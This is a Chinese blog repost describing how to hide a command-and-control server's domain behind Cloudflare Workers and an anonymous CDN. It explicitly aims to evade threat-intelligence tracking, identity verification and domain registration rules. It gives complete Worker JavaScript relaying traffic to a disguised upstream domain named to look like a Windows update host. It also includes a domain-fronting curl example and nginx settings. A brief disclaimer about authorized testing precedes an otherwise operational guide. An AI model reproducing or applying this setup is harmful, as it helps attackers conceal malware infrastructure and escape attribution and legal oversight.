使用CDN+worker隐藏C2域名 - 耳旁有首歌

admin 2021年12月31日15:56:10评论185 views字数 2773阅读9分14秒阅读模式

声明:本文仅做技术分享,图片结果均为网络分享图片,请各位看后遵守《网络安全法》,在授权前提下进行渗透测试,学习本文技巧所有产生后果与笔者无关。


一、简介
各位表哥在日常渗透中有没有遇到过被情报的场景,例如:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
再例如:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
哈,恭喜你你肯定被盯上了~
开个玩笑,话说现在隐藏c2真实地址的手段层出不穷,笔者参考了网上众多隐藏技巧,经过一定的钻研写下了这篇主要隐藏域名的几个思路,但和域前置、云函数技术不同,域前置技术原理:
假设有两个主机,域名分别为www.a.com与www.b.com。这两个主机都是被ip为1.1.1.1的cdn进行加速的。
这时候使用curl命令请求cdn 1.1.1.1,并自定义host段为www.b.com的话。就会返回www.b.com的页面。
命令为:

curl 1.1.1.1 -H "Host: www.b.com" -v

同理请求同样的cdn,但是将host改为www.a.com,这时候就会返回A页面的信息。
如果将curl 后请求的ip改为 www.a.com, host 改为 www.b.com。命令为:

Curl www.a.com -H "Host: www.b.com" -v

上述命令还是显示的是www.b.com的页面,所以最终请求的还是www.b.com。
所以,域前置技术的核心基础设施是cdn。
(参考链接:https://blog.csdn.net/qq_41874930/article/details/107742843)
云函数技术:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
腾讯云你不得认证啊?虽然说认证后除非犯了大事才找你,但法网恢恢疏而不漏……

本文思路不依赖对CDN服务商解析的重定向,而是基于正常域名分发子域名的伪装:注册匿名账户,使用该机构提供的代理服务将流量代理到你的真实域名,匿名,匿名,匿名,毕竟认证的事咱没干过(手动狗头)。

文章域名以winupdateck.top为例,申请过程不再分享,不是此篇重点。

二、CDN-worker伪装
好多大佬拿这个技巧和域前置类比,我就不多废话,网上教程有不少:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
建立worker子域:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
使用js代码转发请求(本人测试多个js代码,这个比较靠谱,所有内容都正常):

let upstream = ' http://www.winupdateck.top'

addEventListener('fetch', event => {
    event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
    const ipAddress = request.headers.get('cf-connecting-ip') || '';
    let requestURL = new URL(request.url);
    let upstreamURL = new URL(upstream);
    requestURL.protocol = upstreamURL.protocol;
    requestURL.host = upstreamURL.host;
    requestURL.pathname = upstreamURL.pathname + requestURL.pathname;

    let new_request_headers = new Headers(request.headers);
    new_request_headers.set("X-Forwarded-For", ipAddress);
    let fetchedResponse = await fetch(
        new Request(requestURL, {
            method: request.method,
            headers: new_request_headers,
            body: request.body
        })
    );
    let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
    modifiedResponseHeaders.delete('set-cookie');
    return new Response(
        fetchedResponse.body,
        {
            headers: modifiedResponseHeaders,
            status: fetchedResponse.status,
            statusText: fetchedResponse.statusText
        }
    );
}

其中let upstream = ' http://www.winupdateck.top' 的http协议可以根据实际listener改变。

上线效果就不多说了,主要在代码,优点是可自由切换https/http协议,..worker.dev域名可以自己增减。

三、匿名CDN & worker
有老哥问了,要是多个c2,还有域名、c2的ip在国内使用,怎么办?使用worker代理一个子域名可行,但你的ip一旦关联域名就要涉及备案…(奉劝各位老老实实备案,咳咳,嗯,要做遵纪守法好公民)
例如在cloudflare添加子域名解析:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
过一会访问会变成:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
要去阿里人脸识别,做好备案:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
这里的思路是nodecache:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
注册一个匿名账户,然后通过邮件校验,然后:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
选择创建服务:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
把你想添加的子域名写进去:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
点击cname:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
将内容粘贴到你的域名服务商处,添加一个cname记录:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
然后在回源管理处添加你在国内的vps地址:
使用CDN+worker隐藏C2域名 -  耳旁有首歌
其中要选择https或http协议要点击协议跟随的选项,餐能动态解析两者。
最后你会惊奇地发现,刚才添加的http://cmd.winupdateck.top 可以在国内访问了。其实原理是在cloudflare添加子域名指向国内是受监管的,换一个cdn服务商而已。
然后重点来了,我的目的并不是把cmd.winupdateck.top作为c2 handler,参考上个思路,新建worker,把cmd.winupdateck.top再隐藏在worker之后:

let upstream = ' http://cmd.winupdateck.top'
addEventListener('fetch', event => {
    event.respondWith(fetchAndApply(event.request));
})
……

这个思路相比于直接cloudflare代理根域名有一个缺点:js中设置new_request_headers.set("X-Forwarded-For", ipAddress)没什么用处,依然需要在国内这个vps上使用nginx反向代理,即在配置文件中添加:

location / {
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        ……
}

才可以收到正常的目标外网地址,否则为nodecache的cdn节点地址。实测:可正常上线

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:56:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   使用CDN+worker隐藏C2域名 - 耳旁有首歌http://cn-sec.com/archives/713122.html

发表评论

匿名网友 填写信息